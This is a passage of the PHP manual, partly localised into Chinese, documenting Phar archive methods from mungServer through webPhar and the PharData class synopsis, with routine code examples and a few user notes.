The original values of variables that are modified are stored in the SERVER array with PHAR_ prepended, so for instance SCRIPT_NAME would be saved as PHAR_SCRIPT_NAME.

参数

variables

An array of any of the strings REQUEST_URI, PHP_SELF, SCRIPT_NAME and SCRIPT_FILENAME. Other values trigger an exception, and Phar::mungServer() is case-sensitive.

返回值

No return.

错误／异常

Throws UnexpectedValueException if any problems are found with the passed in data.

示例

Example #1 A Phar::mungServer() example

<?php
// example stub
Phar::mungServer(array('REQUEST_URI'));
Phar::webPhar();
__HALT_COMPILER();
?>

参见

  • Phar::webPhar() - Routes a request from a web browser to an internal file within the phar archive
  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Determines whether a file exists in the phar

  • ? Phar::mungServer
  • Phar::offsetGet ?
  • PHP Manual
  • Phar
  • Determines whether a file exists in the phar

Phar::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetExists — Determines whether a file exists in the phar

说明

public Phar::offsetExists(string $localName): bool

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets.

offsetExists() is called whenever isset() is called.

参数

localName

The filename (relative path) to look for in a Phar.

返回值

Returns true if the file exists within the phar, or false if not.

示例

Example #1 A Phar::offsetExists() example

<?php
$p = new Phar(dirname(__FILE__) . '/my.phar', 0, 'my.phar');
$p['firstfile.txt'] = 'first file';
$p['secondfile.txt'] = 'second file';
// the next set of lines call offsetExists() indirectly
var_dump(isset($p['firstfile.txt']));
var_dump(isset($p['nothere.txt']));
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetSet() - Set the contents of an internal file to those of an external file
  • Phar::offsetUnset() - Remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


Gets a PharFileInfo object for a specific file

  • ? Phar::offsetExists
  • Phar::offsetSet ?
  • PHP Manual
  • Phar
  • Gets a PharFileInfo object for a specific file

Phar::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetGet — Gets a PharFileInfo object for a specific file

说明

public Phar::offsetGet(string $localName): SplFileInfo

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. Phar::offsetGet() is used for retrieving files from a Phar archive.

参数

localName

The filename (relative path) to look for in a Phar.

返回值

A PharFileInfo object is returned that can be used to iterate over a file's contents or to retrieve information about the current file.

错误／异常

This method throws BadMethodCallException if the file does not exist in the Phar archive.

示例

Example #1 Phar::offsetGet() example

As with all classes that implement the ArrayAccess interface, Phar::offsetGet() is automatically called when using the [] angle bracket operator.

<?php
$p = new Phar(dirname(__FILE__) . '/myphar.phar', 0, 'myphar.phar');
$p['exists.txt'] = "file exists\n";
try {
// automatically calls offsetGet()
echo $p['exists.txt'];
echo $p['doesnotexist.txt'];
} catch (BadMethodCallException $e) {
echo $e;
}
?>

以上示例会输出：

file exists
Entry doesnotexist.txt does not exist

参见

  • Phar::offsetExists() - Determines whether a file exists in the phar
  • Phar::offsetSet() - Set the contents of an internal file to those of an external file
  • Phar::offsetUnset() - Remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


Set the contents of an internal file to those of an external file

  • ? Phar::offsetGet
  • Phar::offsetUnset ?
  • PHP Manual
  • Phar
  • Set the contents of an internal file to those of an external file

Phar::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetSet — Set the contents of an internal file to those of an external file

说明

public Phar::offsetSet(string $localName, resource|string $value): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. offsetSet is used for modifying an existing file, or adding a new file to a Phar archive.

参数

localName

The filename (relative path) to modify in a Phar.

value

Content of the file.

返回值

No return values.

错误／异常

if phar.readonly is 1, BadMethodCallException is thrown, as modifying a Phar is only allowed when phar.readonly is set to 0. Throws PharException if there are any problems flushing changes made to the Phar archive to disk.

示例

Example #1 A Phar::offsetSet() example

offsetSet should not be accessed directly, but instead used via array access with the [] operator.

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
// calls offsetSet
$p['file.txt'] = 'Hi there';
} catch (Exception $e) {
echo 'Could not modify file.txt:', $e;
}
?>

注释

Note: Phar::addFile(), Phar::addFromString() and Phar::offsetSet() save a new phar archive each time they are called. If performance is a concern, Phar::buildFromDirectory() or Phar::buildFromIterator() should be used instead.

参见

  • Phar::offsetExists() - Determines whether a file exists in the phar
  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetUnset() - Remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


Remove a file from a phar

  • ? Phar::offsetSet
  • Phar::running ?
  • PHP Manual
  • Phar
  • Remove a file from a phar

Phar::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetUnset — Remove a file from a phar

说明

public Phar::offsetUnset(string $localName): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. offsetUnset is used for deleting an existing file, and is called by the unset() language construct.

参数

localName

The filename (relative path) to modify in a Phar.

返回值

没有返回值。

错误／异常

if phar.readonly is 1, BadMethodCallException is thrown, as modifying a Phar is only allowed when phar.readonly is set to 0. Throws PharException if there are any problems flushing changes made to the Phar archive to disk.

示例

Example #1 A Phar::offsetUnset() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
// deletes file.txt from my.phar by calling offsetUnset
unset($p['file.txt']);
} catch (Exception $e) {
echo 'Could not delete file.txt: ', $e;
}
?>

参见

  • Phar::offsetExists() - Determines whether a file exists in the phar
  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetSet() - Set the contents of an internal file to those of an external file
  • Phar::unlinkArchive() - Completely remove a phar archive from disk and from memory
  • Phar::delete() - 删除 phar 档案中的一个文件

User Contributed Notes

There are no user contributed notes for this page.


Returns the full path on disk or full phar URL to the currently executing Phar archive

  • ? Phar::offsetUnset
  • Phar::setAlias ?
  • PHP Manual
  • Phar
  • Returns the full path on disk or full phar URL to the currently executing Phar archive

Phar::running

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive

说明

final public static Phar::running(bool $returnPhar = true): string

Returns the full path to the running phar archive. This is intended for use much like the __FILE__ magic constant, and only has effect inside an executing phar archive.

Inside the stub of an archive, Phar::running() returns "". Simply use __FILE__ to access the current running phar inside a stub.

参数

returnPhar

If false, the full path on disk to the phar archive is returned. If true, a full phar URL is returned.

返回值

Returns the filename if valid, empty string otherwise.

示例

Example #1 A Phar::running() example

For the following example, assume the phar archive is located at /path/to/phar/my.phar.

<?php
$a = Phar::running(); // $a is "phar:///path/to/my.phar"
$b = Phar::running(false); // $b is "/path/to/my.phar"
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the alias for the Phar archive

  • ? Phar::running
  • Phar::setDefaultStub ?
  • PHP Manual
  • Phar
  • Set the alias for the Phar archive

Phar::setAlias

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.1)

Phar::setAlias — Set the alias for the Phar archive

说明

public Phar::setAlias(string $alias): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Set the alias for the Phar archive, and write it as the permanent alias for this phar archive. An alias can be used internally to a phar archive to ensure that use of the phar stream wrapper to access internal files always works regardless of the location of the phar archive on the filesystem. Another alternative is to rely upon Phar's interception of include or to use Phar::interceptFileFuncs() and use relative paths.

参数

alias

A shorthand string that this archive can be referred to in phar stream wrapper access.

返回值

错误／异常

Throws UnexpectedValueException when write access is disabled, and PharException if the alias is already in use or any problems were encountered flushing changes to disk.

示例

Example #1 A Phar::setAlias() example

<?php
try {
$phar = new Phar('myphar.phar');
$phar->setAlias('myp.phar');
} catch (Exception $e) {
// handle error
}
?>

参见

  • Phar::__construct() - Construct a Phar archive object
  • Phar::interceptFileFuncs() - Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

User Contributed Notes

There are no user contributed notes for this page.


Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

  • ? Phar::setAlias
  • Phar::setMetadata ?
  • PHP Manual
  • Phar
  • Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

Phar::setDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

说明

public Phar::setDefaultStub(?string $index = null, ?string $webIndex = null): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

This method is a convenience method that combines the functionality of Phar::createDefaultStub() and Phar::setStub().

参数

index

Relative path within the phar archive to run if accessed on the command-line

webIndex

Relative path within the phar archive to run if accessed through a web browser

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

UnexpectedValueException is thrown if phar.readonly is enabled in php.ini. PharException is thrown if any problems are encountered flushing changes to disk.

更新日志

版本 | 说明
8.0.0 | webIndex is nullable now.

示例

Example #1 A Phar::setDefaultStub() example

<?php
try {
$phar = new Phar('myphar.phar');
$phar->setDefaultStub('cli.php', 'web/index.php');
// this is the same as:
// $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
// handle errors
}
?>

参见

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

There are no user contributed notes for this page.


Sets phar archive meta-data

  • ? Phar::setDefaultStub
  • Phar::setSignatureAlgorithm ?
  • PHP Manual
  • Phar
  • Sets phar archive meta-data

Phar::setMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::setMetadata — Sets phar archive meta-data

说明

public Phar::setMetadata(mixed $metadata): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Phar::setMetadata() should be used to store customized data that describes something about the phar archive as a complete entity. PharFileInfo::setMetadata() should be used for file-specific meta-data. Meta-data can slow down the performance of loading a phar archive if the data is large.

Some possible uses for meta-data include specifying which file within the archive should be used to bootstrap the archive, or the location of a file manifest like » PEAR's package.xml file. However, any useful data that describes the phar archive may be stored.

参数

metadata

Any PHP variable containing information to store that describes the phar archive

返回值

没有返回值。

示例

Example #1 A Phar::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.php'] = '<?php echo "hello"';
$p->setMetadata(array('bootstrap' => 'file.php'));
var_dump($p->getMetadata());
} catch (Exception $e) {
echo 'Could not create and/or modify phar:', $e;
}
?>

以上示例会输出：

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

参见

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


Set the signature algorithm for a phar and apply it

  • ? Phar::setMetadata
  • Phar::setStub ?
  • PHP Manual
  • Phar
  • Set the signature algorithm for a phar and apply it

Phar::setSignatureAlgorithm

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — Set the signature algorithm for a phar and apply it

说明

public Phar::setSignatureAlgorithm(int $algo, ?string $privateKey = null): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

set the signature algorithm for a phar and apply it. The signature algorithm must be one of Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, or Phar::OPENSSL.

Note that all executable phar archives have a signature created automatically, SHA1 by default. data tar- or zip-based archives (archives created with the PharData class) must have their signature created and set explicitly via Phar::setSignatureAlgorithm().

参数

algo

    One of Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512, or Phar::OPENSSL

privateKey

The contents of an OpenSSL private key, as extracted from a certificate or OpenSSL key file:

<?php
$private = openssl_get_privatekey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($private, $pkey);
$p->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
?>
See phar introduction for instructions on naming and placement of the public key file.

返回值

没有返回值。

错误／异常

Throws UnexpectedValueException for many errors, and a PharException if any problems occur flushing changes to disk.

更新日志

版本 | 说明
8.0.0 | privateKey is now nullable.

参见

  • Phar::getSupportedSignatures() - Return array of supported signature types
  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Used to set the PHP loader or bootstrap stub of a Phar archive

  • ? Phar::setSignatureAlgorithm
  • Phar::startBuffering ?
  • PHP Manual
  • Phar
  • Used to set the PHP loader or bootstrap stub of a Phar archive

Phar::setStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive

说明

public Phar::setStub(resource|string $stub, int $length = -1): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

This method is used to add a PHP bootstrap loader stub to a new Phar archive, or to replace the loader stub in an existing Phar archive.

The loader stub for a Phar archive is used whenever an archive is included directly as in this example:

<?php
include 'myphar.phar';
?>

The loader is not accessed when including a file through the phar stream wrapper like so:

<?php
include 'phar://myphar.phar/somefile.php';
?>

参数

stub

A string or an open stream handle to use as the executable stub for this phar archive.

length

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

UnexpectedValueException is thrown if phar.readonly is enabled in php.ini. PharException is thrown if any problems are encountered flushing changes to disk.

更新日志

版本 | 说明
8.3.0 | Calling Phar::setStub() with a resource and a length is now deprecated. Such calls should be replaced by: $phar->setStub(stream_get_contents($resource));

示例

Example #1 A Phar::setStub() example

<?php
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['a.php'] = '<?php var_dump("Hello");';
$p->setStub('<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
include 'phar://brandnewphar.phar/a.php';
var_dump($p->getStub());
$p['b.php'] = '<?php var_dump("World");';
$p->setStub('<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
include 'phar://brandnewphar.phar/b.php';
var_dump($p->getStub());
} catch (Exception $e) {
echo 'Write operations failed on brandnewphar.phar: ', $e;
}
?>

以上示例会输出：

string(5) "Hello"
string(82) "<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"
string(5) "World"
string(83) "<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"

参见

  • Phar::getStub() - Return the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

Scott Dutton 08-Jan-2018 09:57
Its not clear in the docs but __HALT_COMPILER() is required in the stub.
Olivier Laviale 17-Jul-2011 07:14
If your stub has a namespace, it is used for each include that doesn't define one.
jaimz22 at gmail dot com 16-Jan-2008 03:04
One thing I had alot of problems with, is that i can't set the stub unless I put the whole operation inside of a try/catch block!

If i remove the try/catch block it will error our and not write the stub with the content i want it to have.


Start buffering Phar write operations, do not modify the Phar object on disk

  • ? Phar::setStub
  • Phar::stopBuffering ?
  • PHP Manual
  • Phar
  • Start buffering Phar write operations, do not modify the Phar object on disk

Phar::startBuffering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk

说明

public Phar::startBuffering(): void

Although technically unnecessary, the Phar::startBuffering() method can provide a significant performance boost when creating or modifying a Phar archive with a large number of files. Ordinarily, every time a file within a Phar archive is created or modified in any way, the entire Phar archive will be recreated with the changes. In this way, the archive will be up-to-date with the activity performed on it.

However, this can be unnecessary when simply creating a new Phar archive, when it would make more sense to write the entire archive out at once. Similarly, it is often necessary to make a series of changes and to ensure that they all are possible before making any changes on disk, similar to the relational database concept of transactions. the Phar::startBuffering()/Phar::stopBuffering() pair of methods is provided for this purpose.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 A Phar::startBuffering() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->setCompressedGZ();
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub("<?php
function __autoload($class)
{
include 'phar://myphar.phar/' . str_replace('_', '/', $class) . '.php';
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
?>

参见

  • Phar::stopBuffering() - Stop buffering write requests to the Phar archive, and save changes to disk
  • Phar::isBuffering() - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

User Contributed Notes

anon at php dot com 29-Nov-2020 02:24
To setthe  ini key phar.readonly to 0, from a unix shell script, this is possible on the fly it is possible see below.
The example given on this page has some issues with quoting: (See conversion to simple quotes)

#!/usr/bin/php -d phar.readonly=0
<?php
print(ini_get('phar.readonly')); // Must return 0
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->compress(Phar::GZ);
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub('<?php
function __autoload($class)
{
    include "phar://myphar.phar/" . str_replace("_", "/", $class) . ".php";
}
Phar::mapPhar("myphar.phar");
include "phar://myphar.phar/startup.php";
__HALT_COMPILER();');
$p->stopBuffering();

// Test
$m = file_get_contents("phar://brandnewphar.phar/file2.txt");
$m = explode("\n",$m);
var_dump($m);
/* Output:
* there
**/


Stop buffering write requests to the Phar archive, and save changes to disk

  • ? Phar::startBuffering
  • Phar::unlinkArchive ?
  • PHP Manual
  • Phar
  • Stop buffering write requests to the Phar archive, and save changes to disk

Phar::stopBuffering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk

说明

public Phar::stopBuffering(): void

Phar::stopBuffering() is used in conjunction with the Phar::startBuffering() method. Phar::startBuffering() can provide a significant performance boost when creating or modifying a Phar archive with a large number of files. Ordinarily, every time a file within a Phar archive is created or modified in any way, the entire Phar archive will be recreated with the changes. In this way, the archive will be up-to-date with the activity performed on it.

However, this can be unnecessary when simply creating a new Phar archive, when it would make more sense to write the entire archive out at once. Similarly, it is often necessary to make a series of changes and to ensure that they all are possible before making any changes on disk, similar to the relational database concept of transactions. The Phar::startBuffering()/Phar::stopBuffering() pair of methods is provided for this purpose.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

PharException is thrown if any problems are encountered flushing changes to disk.

示例

Example #1 A Phar::stopBuffering() example

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file1.txt'] = 'hi';
$p->startBuffering();
var_dump($p->getStub());
$p->setStub("<?php
function __autoload(\$class)
{
include 'phar://brandnewphar.phar/' . str_replace('_', '/', \$class) . '.php';
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
var_dump($p->getStub());
?>

以上示例会输出：

string(24) "<?php __HALT_COMPILER();"
string(195) "<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();"

参见

  • Phar::startBuffering() - Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::isBuffering() - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

User Contributed Notes

There are no user contributed notes for this page.


Completely remove a phar archive from disk and from memory

  • ? Phar::stopBuffering
  • Phar::webPhar ?
  • PHP Manual
  • Phar
  • Completely remove a phar archive from disk and from memory

Phar::unlinkArchive

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::unlinkArchive — Completely remove a phar archive from disk and from memory

说明

final public static Phar::unlinkArchive(string $filename): bool

Removes a phar archive from disk and memory.

参数

filename

The path on disk to the phar archive.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

PharException is thrown if there are any open file pointers to the phar archive, or any existing Phar, PharData, or PharFileInfo objects referring to the phar archive.

示例

Example #1 A Phar::unlinkArchive() example

<?php
// simple usage
Phar::unlinkArchive('/path/to/my.phar');

// more common example:
$p = new Phar('my.phar');
$fp = fopen('phar://my.phar/file.txt', 'r');
// this creates 'my.phar.gz'
$gp = $p->compress(Phar::GZ);
// remove all references to the archive
unset($p);
fclose($fp);
// now remove all traces of the archive
Phar::unlinkArchive('my.phar');
?>

参见

  • Phar::delete() - 删除 phar 档案中的一个文件
  • Phar::offsetUnset() - Remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


Routes a request from a web browser to an internal file within the phar archive

  • ? Phar::unlinkArchive
  • PharData ?
  • PHP Manual
  • Phar
  • Routes a request from a web browser to an internal file within the phar archive

Phar::webPhar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::webPhar — Routes a request from a web browser to an internal file within the phar archive

说明

final public static Phar::webPhar(
?string $alias = null,
?string $index = null,
?string $fileNotFoundScript = null,
array $mimeTypes = [],
?callable $rewrite = null
): void

Phar::webPhar() serves as Phar::mapPhar() for web-based phars. This method parses $_SERVER['REQUEST_URI'] and routes a request from a web browser to an internal file within the phar archive. It simulates a web server, routing requests to the correct file, echoing the correct headers and parsing PHP files as needed. Combined with Phar::mungServer() and Phar::interceptFileFuncs(), any web application can be used unmodified from a phar archive.

Phar::webPhar() should only be called from the stub of a phar archive (see here for more information on what a stub is).

参数

alias

The alias that can be used in phar:// URLs to refer to this archive, rather than its full path.

index

The location within the phar of the directory index.

fileNotFoundScript

The location of the script to run when a file is not found. This script should output the proper HTTP 404 headers.

mimeTypes

An array mapping additional file extensions to MIME type. If the default mapping is sufficient, pass an empty array. By default, these extensions are mapped to these MIME types:

<?php
$mimes = array(
'phps' => Phar::PHPS, // pass to highlight_file()
'c' => 'text/plain',
'cc' => 'text/plain',
'cpp' => 'text/plain',
'c++' => 'text/plain',
'dtd' => 'text/plain',
'h' => 'text/plain',
'log' => 'text/plain',
'rng' => 'text/plain',
'txt' => 'text/plain',
'xsd' => 'text/plain',
'php' => Phar::PHP, // parse as PHP
'inc' => Phar::PHP, // parse as PHP
'avi' => 'video/avi',
'bmp' => 'image/bmp',
'css' => 'text/css',
'gif' => 'image/gif',
'htm' => 'text/html',
'html' => 'text/html',
'htmls' => 'text/html',
'ico' => 'image/x-ico',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'js' => 'application/x-javascript',
'midi' => 'audio/midi',
'mid' => 'audio/midi',
'mod' => 'audio/mod',
'mov' => 'movie/quicktime',
'mp3' => 'audio/mp3',
'mpg' => 'video/mpeg',
'mpeg' => 'video/mpeg',
'pdf' => 'application/pdf',
'png' => 'image/png',
'swf' => 'application/shockwave-flash',
'tif' => 'image/tiff',
'tiff' => 'image/tiff',
'wav' => 'audio/wav',
'xbm' => 'image/xbm',
'xml' => 'text/xml',
);
?>

rewrite

The rewrites function is passed a string as its only parameter and must return a string or false.

If you are using fast-cgi or cgi then the parameter passed to the function is the value of the $_SERVER['PATH_INFO'] variable. Otherwise, the parameter passed to the function is the value of the $_SERVER['REQUEST_URI'] variable.

If a string is returned it is used as the internal file path. If false is returned then webPhar() will send a HTTP 403 Denied Code.

返回值

没有返回值。

错误／异常

Throws PharException when unable to open the internal file to output, or if called from a non-stub. If an invalid array value is passed into mimeTypes or an invalid callback is passed into rewrite, then UnexpectedValueException is thrown.

更新日志

版本 | 说明
8.0.0 | fileNotFoundScript and rewrite are nullable now.

示例

Example #1 A Phar::webPhar() example

With the example below, the created phar will display Hello World if one browses to /myphar.phar/index.php or to /myphar.phar, and will display the source of index.phps if one browses to /myphar.phar/index.phps.

<?php
// creating the phar archive:
try {
$phar = new Phar('myphar.phar');
$phar['index.php'] = '<?php echo "Hello World"; ?>';
$phar['index.phps'] = '<?php echo "Hello World"; ?>';
$phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
// handle error here
}
?>

参见

  • Phar::mungServer() - Defines a list of up to 4 $_SERVER variables that should be modified for execution
  • Phar::interceptFileFuncs() - Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

User Contributed Notes

James 06-Oct-2012 07:55
It seems that calling Phar::webPhar() from inside a function is a bad idea.  Doing so will cause global variables in included files to not be global.  For instance, do NOT try this:

<?php
$phar = new Phar('test.phar.php');
$phar['test.php'] = '<?php
$FOO = "globals work";
function test() {
  global $FOO;
  echo "test: $FOO\n";
}
test();
?>';
$phar->setStub('<?php
function _bootstrap() {
Phar::webPhar();
}
_bootstrap();
__HALT_COMPILER(); ?>');
?>

The output will be "test:", not "test: globals work".


The PharData class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

简介

The PharData class provides a high-level interface to accessing and creating non-executable tar and zip archives. Because these archives do not contain a stub and cannot be executed by the phar extension, it is possible to create and manipulate regular zip and tar files using the PharData class even if phar.readonly php.ini setting is 1.

类摘要

class PharData extends RecursiveDirectoryIterator implements Countable, ArrayAccess {
/* 继承的常量 */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* 方法 */
public __construct(
string $filename,
int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS,
?string $alias = null,
int $format = 0
)
public addEmptyDir(string $directory): void
public addFile(string $filename, ?string $localName = null): void
public addFromString(string $localName, string $contents): void
public buildFromDirectory(string $directory, string $pattern = ""): array
public buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array
public compress(int $compression, ?string $extension = null): ?PharData
public compressFiles(int $compression): void
public convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData
public convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar
public copy(string $from, string $to): bool
public decompress(?string $extension = null): ?PharData
public decompressFiles(): bool
public delMetadata(): bool
public delete(string $localName): bool
public extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool
public isWritable(): bool
public offsetSet(string $localName, resource|string $value): void
public offsetUnset(string $localName): void
public setAlias(string $alias): bool
public setDefaultStub(?string $index = null, ?string $webIndex = null): bool
public setMetadata(mixed $metadata): void
public setSignatureAlgorithm(int $algo, ?string $privateKey = null): void
public setStub(string $stub, int $len = -1): bool
public __destruct()
/* 继承的方法 */
public RecursiveDirectoryIterator::getChildren(): RecursiveDirectoryIterator
public RecursiveDirectoryIterator::getSubPath(): string
public RecursiveDirectoryIterator::getSubPathname(): string
public RecursiveDirectoryIterator::hasChildren(bool $allowLinks = false): bool
public RecursiveDirectoryIterator::key(): string
public RecursiveDirectoryIterator::next(): void
public RecursiveDirectoryIterator::rewind(): void
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
